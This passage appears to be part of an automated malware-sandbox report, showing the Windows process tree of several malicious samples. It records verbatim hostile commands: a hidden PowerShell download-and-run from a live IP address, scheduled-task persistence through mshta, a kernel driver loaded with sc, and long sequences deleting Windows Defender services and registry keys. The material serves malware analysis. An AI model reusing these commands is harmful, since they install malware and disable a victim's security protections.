    3⤵
    PID:7676
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:8088
  - - C:\Users\Admin\AppData\Roaming\Minecraft.exe
      "C:\Users\Admin\AppData\Roaming\Minecraft.exe"
      4⤵
      PID:3920
- C:\Users\Admin\AppData\Local\Temp\Discord Nitro Checker by Unheilgott (1).exe
  "C:\Users\Admin\AppData\Local\Temp\Discord Nitro Checker by Unheilgott (1).exe"
  2⤵
  PID:1204
- C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr
  "C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr" /S
  2⤵
  PID:1576
- - C:\Users\Admin\AppData\Local\Temp\RarSFX1\love.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\love.exe" /S
    3⤵
    PID:2140
  - - C:\Users\Admin\AppData\Local\server.exe
      "C:\Users\Admin\AppData\Local\server.exe"
      4⤵
      PID:628
- - C:\Users\Admin\AppData\Local\Temp\RarSFX1\ForYou.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\ForYou.exe" /S
    3⤵
    PID:2148
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\AppData\Local\Temp\InstTheLatestFlashActiveX1.htm
      4⤵
      PID:5128
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5128 CREDAT:275457 /prefetch:2
        5⤵
        
        PID:7244
- C:\Users\Admin\AppData\Local\Temp\Lokibot.exe
  "C:\Users\Admin\AppData\Local\Temp\Lokibot.exe"
  2⤵
  PID:4024
- - C:\Users\Admin\AppData\Local\Temp\Lokibot.exe
    "C:\Users\Admin\AppData\Local\Temp\Lokibot.exe"
    3⤵
    PID:7460
- C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe
  "C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"
  2⤵
  PID:1396
- - C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe
    "C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe"
    3⤵
    PID:3420
  - - C:\Users\Admin\AppData\Local\Temp\a\ori.exe
      "C:\Users\Admin\AppData\Local\Temp\a\ori.exe"
      4⤵
      PID:8156
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8156 -s 684
        5⤵
        Program crash
        
        PID:7768
  - - C:\Users\Admin\AppData\Local\Temp\a\xmsn.exe
      "C:\Users\Admin\AppData\Local\Temp\a\xmsn.exe"
      4⤵
      PID:4512
    - - C:\Windows\TEMP\{51D9DF94-EA71-44F5-99AC-4F4188086CEC}\.cr\xmsn.exe
        
        "C:\Windows\TEMP\{51D9DF94-EA71-44F5-99AC-4F4188086CEC}\.cr\xmsn.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\a\xmsn.exe" -burn.filehandle.attached=188 -burn.filehandle.self=184
        5⤵
        
        PID:7908
      - C:\Windows\TEMP\{34697E62-BF47-4969-8BFB-E85C9EEAECD2}\.ba\msn.exe
        
        C:\Windows\TEMP\{34697E62-BF47-4969-8BFB-E85C9EEAECD2}\.ba\msn.exe
        6⤵
        
        PID:8060
        
        C:\Users\Admin\AppData\Roaming\AltApp_v4\msn.exe
        
        C:\Users\Admin\AppData\Roaming\AltApp_v4\msn.exe
        7⤵
        
        PID:7120
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        8⤵
        
        PID:5912
        
        C:\Users\Admin\AppData\Local\Temp\cgmon_v2.exe
        
        C:\Users\Admin\AppData\Local\Temp\cgmon_v2.exe
        9⤵
        
        PID:1060
  - - C:\Users\Admin\AppData\Local\Temp\a\bnoaprihjatuasss.exe
      "C:\Users\Admin\AppData\Local\Temp\a\bnoaprihjatuasss.exe"
      4⤵
      PID:4924
  - - C:\Users\Admin\AppData\Local\Temp\a\RuntimeBroker.exe
      "C:\Users\Admin\AppData\Local\Temp\a\RuntimeBroker.exe"
      4⤵
      PID:6184
    - - C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\discord\RuntimeBroker.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:216
    - - C:\Users\Admin\AppData\Roaming\discord\RuntimeBroker.exe
        
        "C:\Users\Admin\AppData\Roaming\discord\RuntimeBroker.exe"
        5⤵
        
        PID:6204
      - C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\discord\RuntimeBroker.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7256
  - - C:\Users\Admin\AppData\Local\Temp\a\random.exe
      "C:\Users\Admin\AppData\Local\Temp\a\random.exe"
      4⤵
      PID:5200
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn qHx81maKgTf /tr "mshta C:\Users\Admin\AppData\Local\Temp\81jG9vELt.hta" /sc minute /mo 25 /ru "Admin" /f
        5⤵
        
        PID:2104
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn qHx81maKgTf /tr "mshta C:\Users\Admin\AppData\Local\Temp\81jG9vELt.hta" /sc minute /mo 25 /ru "Admin" /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7284
    - - C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\81jG9vELt.hta
        5⤵
        
        PID:7188
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'60HY424CHSQT4HLGMD57PZZTFNRDIUAI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7448
        
        C:\Users\Admin\AppData\Local\Temp60HY424CHSQT4HLGMD57PZZTFNRDIUAI.EXE
        
        "C:\Users\Admin\AppData\Local\Temp60HY424CHSQT4HLGMD57PZZTFNRDIUAI.EXE"
        7⤵
        
        PID:2188
        
        C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        8⤵
        
        PID:5832
        
        C:\Users\Admin\AppData\Local\Temp\10314650101\apple.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10314650101\apple.exe"
        9⤵
        
        PID:3476
        
        C:\Users\Admin\AppData\Local\Temp\11.exe
        
        "C:\Users\Admin\AppData\Local\Temp\11.exe"
        10⤵
        
        PID:1688
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E791.tmp\E792.tmp\E793.bat C:\Users\Admin\AppData\Local\Temp\11.exe"
        11⤵
        
        PID:5164
        
        C:\Users\Admin\AppData\Local\Temp\11.exe
        
        "C:\Users\Admin\AppData\Local\Temp\11.exe" go
        12⤵
        
        PID:6100
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E946.tmp\E947.tmp\E948.bat C:\Users\Admin\AppData\Local\Temp\11.exe go"
        13⤵
        
        PID:6680
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        14⤵
        Launches sc.exe
        
        PID:6848
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        14⤵
        Launches sc.exe
        
        PID:4876
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        14⤵
        Delays execution with timeout.exe
        
        PID:6196
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        14⤵
        
        PID:5544
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        14⤵
        Launches sc.exe
        
        PID:3796
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        14⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4288
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        14⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7492
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        14⤵
        Launches sc.exe
        
        PID:4404
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        14⤵
        Launches sc.exe
        
        PID:1880
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        14⤵
        
        PID:2140
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        14⤵
        Launches sc.exe
        
        PID:4368
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        14⤵
        Launches sc.exe
        
        PID:236
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        14⤵
        
        PID:5952
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        14⤵
        Launches sc.exe
        
        PID:5172
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        14⤵
        Launches sc.exe
        
        PID:4944
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        14⤵
        
        PID:5672
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        14⤵
        Launches sc.exe
        
        PID:6016
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        14⤵
        
        PID:3472
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        14⤵
        
        PID:4820
        
        C:\Windows\system32\sc.exe
        
        sc stop "wscsvc"
        14⤵
        Launches sc.exe
        
        PID:5240
        
        C:\Windows\system32\sc.exe
        
        sc delete "wscsvc"
        14⤵
        
        PID:4384
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        14⤵
        
        PID:5712
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        14⤵
        Launches sc.exe
        
        PID:8068
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        14⤵
        Launches sc.exe
        
        PID:4116
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        14⤵
        
        PID:7064
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        14⤵
        Launches sc.exe
        
        PID:6272
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        14⤵
        Launches sc.exe
        
        PID:4136
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        14⤵
        
        PID:4780
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        14⤵
        Launches sc.exe
        
        PID:6316
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        14⤵
        
        PID:7124
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        14⤵
        
        PID:4200
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        14⤵
        
        PID:4996
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        14⤵
        Launches sc.exe
        
        PID:1104
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        14⤵
        
        PID:2028
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        14⤵
        Launches sc.exe
        
        PID:4880
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        14⤵
        Launches sc.exe
        
        PID:3556
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        14⤵
        
        PID:5812
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        14⤵
        Launches sc.exe
        
        PID:2052
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        14⤵
        Launches sc.exe
        
        PID:4344
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        14⤵
        
        PID:6528
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        14⤵
        Launches sc.exe
        
        PID:5988
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        14⤵
        
        PID:1324
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        14⤵
        
        PID:2620
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        14⤵
        Launches sc.exe
        
        PID:6460
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        14⤵
        
        PID:1548
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        14⤵
        
        PID:4680
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        14⤵
        Launches sc.exe
        
        PID:4956
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        14⤵
        Launches sc.exe
        
        PID:880
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        14⤵
        
        PID:6488
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        14⤵
        Launches sc.exe
        
        PID:7352
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        14⤵
        Launches sc.exe
        
        PID:3276
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        14⤵
        
        PID:6600
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        14⤵
        Launches sc.exe
        
        PID:4164
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecCore"
        14⤵
        Launches sc.exe
        
        PID:7824
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        14⤵
        
        PID:2936
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        14⤵
        
        PID:7256
        
        C:\Users\Admin\AppData\Local\Temp\10317340101\javaw.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10317340101\javaw.exe"
        9⤵
        
        PID:7704
  - - C:\Users\Admin\AppData\Local\Temp\a\setup.exe
      "C:\Users\Admin\AppData\Local\Temp\a\setup.exe"
      4⤵
      PID:7884
  - - C:\Users\Admin\AppData\Local\Temp\a\si.exe
      "C:\Users\Admin\AppData\Local\Temp\a\si.exe"
      4⤵
      PID:8004
- - C:\ProgramData\Synaptics\Synaptics.exe
    "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
    3⤵
    PID:2732
  - - C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
      4⤵
      PID:3040
    - - C:\Users\Admin\AppData\Local\Temp\a\we.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a\we.exe"
        5⤵
        
        PID:5716
    - - C:\Users\Admin\AppData\Local\Temp\a\rem.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a\rem.exe"
        5⤵
        
        PID:6380
    - - C:\Users\Admin\AppData\Local\Temp\a\advnrNo.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a\advnrNo.exe"
        5⤵
        
        PID:6504
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        6⤵
        Uses browser remote debugging
        
        PID:2200
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fee7a69758,0x7fee7a69768,0x7fee7a69778
        7⤵
        
        PID:5020
        
        C:\Windows\system32\ctfmon.exe
        
        ctfmon.exe
        7⤵
        
        PID:6624
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1156 --field-trial-handle=1308,i,13779151837112427788,14551974685037029786,131072 /prefetch:2
        7⤵
        
        PID:7804
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1540 --field-trial-handle=1308,i,13779151837112427788,14551974685037029786,131072 /prefetch:8
        7⤵
        
        PID:5184
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        6⤵
        Uses browser remote debugging
        
        PID:6236
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fee7a69758,0x7fee7a69768,0x7fee7a69778
        7⤵
        
        PID:7148
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1176 --field-trial-handle=1328,i,8378586411256199323,1940511592456980000,131072 /prefetch:2
        7⤵
        
        PID:6612
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1472 --field-trial-handle=1328,i,8378586411256199323,1940511592456980000,131072 /prefetch:8
        7⤵
        
        PID:5956
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        6⤵
        Uses browser remote debugging
        
        PID:2968
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fee7a69758,0x7fee7a69768,0x7fee7a69778
        7⤵
        
        PID:5500
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1164 --field-trial-handle=1140,i,4581912095941466150,4985644104926975215,131072 /prefetch:2
        7⤵
        
        PID:6340
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1496 --field-trial-handle=1140,i,4581912095941466150,4985644104926975215,131072 /prefetch:8
        7⤵
        
        PID:7432
    - - C:\Users\Admin\AppData\Local\Temp\a\apple.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a\apple.exe"
        5⤵
        
        PID:7512
      - C:\Users\Admin\AppData\Local\Temp\11.exe
        
        "C:\Users\Admin\AppData\Local\Temp\11.exe"
        6⤵
        
        PID:6664
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8391.tmp\8392.tmp\8393.bat C:\Users\Admin\AppData\Local\Temp\11.exe"
        7⤵
        
        PID:6684
        
        C:\Users\Admin\AppData\Local\Temp\11.exe
        
        "C:\Users\Admin\AppData\Local\Temp\11.exe" go
        8⤵
        
        PID:4452
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\841E.tmp\841F.tmp\8420.bat C:\Users\Admin\AppData\Local\Temp\11.exe go"
        9⤵
        
        PID:6396
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        10⤵
        Launches sc.exe
        
        PID:5880
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        10⤵
        Launches sc.exe
        
        PID:7724
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        10⤵
        Delays execution with timeout.exe
        
        PID:6872
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        10⤵
        
        PID:2340
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        10⤵
        Launches sc.exe
        
        PID:5860
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        10⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4240
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        10⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7044
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        10⤵
        Launches sc.exe
        
        PID:2284
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        10⤵
        Launches sc.exe
        
        PID:1736
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        10⤵
        
        PID:5400
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        10⤵
        Launches sc.exe
        
        PID:3484
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        10⤵
        Launches sc.exe
        
        PID:4976
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        10⤵
        
        PID:5656
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        10⤵
        Launches sc.exe
        
        PID:6116
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        10⤵
        Launches sc.exe
        
        PID:4580
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        10⤵
        
        PID:5020
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        10⤵
        Launches sc.exe
        
        PID:5868
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        10⤵
        Launches sc.exe
        
        PID:1720
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        10⤵
        
        PID:1860
        
        C:\Windows\system32\sc.exe
        
        sc stop "wscsvc"
        10⤵
        
        PID:3244
        
        C:\Windows\system32\sc.exe
        
        sc delete "wscsvc"
        10⤵
        Launches sc.exe
        
        PID:2544
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        10⤵
        
        PID:2420
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        10⤵
        Launches sc.exe
        
        PID:3964
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        10⤵
        
        PID:3468
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        10⤵
        
        PID:3504
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        10⤵
        Launches sc.exe
        
        PID:1032
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        10⤵
        Launches sc.exe
        
        PID:776
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        10⤵
        
        PID:7648
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        10⤵
        Launches sc.exe
        
        PID:4152
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        10⤵
        Launches sc.exe
        
        PID:4332
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        10⤵
        
        PID:4652
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        10⤵
        Launches sc.exe
        
        PID:4740
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        10⤵
        Launches sc.exe
        
        PID:4924
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        10⤵
        
        PID:4456
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        10⤵
        Launches sc.exe
        
        PID:4588
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        10⤵
        Launches sc.exe
        
        PID:4300
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        10⤵
        
        PID:4352
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        10⤵
        Launches sc.exe
        
        PID:4136
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        10⤵
        
        PID:4772
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        10⤵
        
        PID:5040
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        10⤵
        
        PID:808
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        10⤵
        Launches sc.exe
        
        PID:5104
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        10⤵
        
        PID:4944
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        10⤵
        Launches sc.exe
        
        PID:5952
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        10⤵
        Launches sc.exe
        
        PID:5472
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        10⤵
        
        PID:5844
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        10⤵
        Launches sc.exe
        
        PID:5296
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        10⤵
        Launches sc.exe
        
        PID:7072
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        10⤵
        
        PID:6752
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        10⤵
        Launches sc.exe
        
        PID:6932
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        10⤵
        Launches sc.exe
        
        PID:7060
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        10⤵
        
        PID:6448
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        10⤵
        Launches sc.exe
        
        PID:6040
        
        C:\Windows\system32\sc.exe
        
